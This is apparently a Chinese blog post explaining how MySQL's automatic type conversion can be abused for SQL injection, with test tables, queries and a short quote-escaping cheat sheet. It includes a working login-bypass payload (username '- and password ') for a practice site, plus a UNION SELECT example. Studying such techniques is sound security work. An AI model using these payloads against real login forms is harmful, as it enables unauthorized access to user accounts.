文章目錄
  1. 1. mysql运算时的数据类型自动转换

mysql的几个小特性在sql注入中的应用

###参考资料

https://websec.wordpress.com/2008/09/09/mysql-authentication-bypass/

http://bugs.mysql.com/bug.php?id=39337

http://www.exploit-db.com/papers/18263/

mysql运算时的数据类型自动转换

测试数据生成

create database test_db;
use test_db;
create table users(num int not null, id varchar(30) not null, password int(30) not null, primary key(num));

insert into users values(1, 'admin', '111111');
insert into users values(2, '222wh1ant', '222222');
insert into users values(3, 'secuholic', '333333');

测试1:

select * from users where id = 0

结果为

mysql

之所以会有这个结果,是因为id给出的条件是=0,0是一个int型的变量。所以mysql会把表中id一列的数据先转换成int型再跟0比较,’admin’和’secuholic’字符串转换成数字是0,’222wh1ant’转换成数字是222,这个规则是php中的类型转换差不多的。我们可以测试一下:

select * from users where id =222

结果果然跟预期一样。

mysql

上面的例子是比较运算=的类型转换。其他的运算符也存在同样的类型转换问题。比如:

空字符串减去空字符串,运算结果是数字零。
mysql

利用这个特性可以构造出一些比较有意思的利用方式。比如:http://www.sqlzoo.net/hack/

可以利用这样一个payload来绕过,用户名填

'-

密码填

'

这样构造成的sql语句为

where username = ''-' and password='''

最终的运算相当于空字符串减去字符串” and password=’” 运算结果为0,最终的where条件为where
username = 0。

当然这个地方还有个小trick就是最后一个字符串’ and password=’’’这里怎么理解。在字符串中单引号是可以为单引号转义的,只要单引号是成对的就不不会报错。可以参考这里http://websec.ca/kb/sql_injection

Given the query SELECT * FROM Table WHERE id = '1';

'    False
''    True
"    False
""    True
\    False
\\    True

Examples:
SELECT * FROM Articles WHERE id = '1''';
SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';
Notes:

You can use as many apostrophes and quotations as you want as long as they pair up.
It is also possible to continue the statement after the chain of quotes.
Quotes escape quotes.
文章目錄
  1. 1. mysql运算时的数据类型自动转换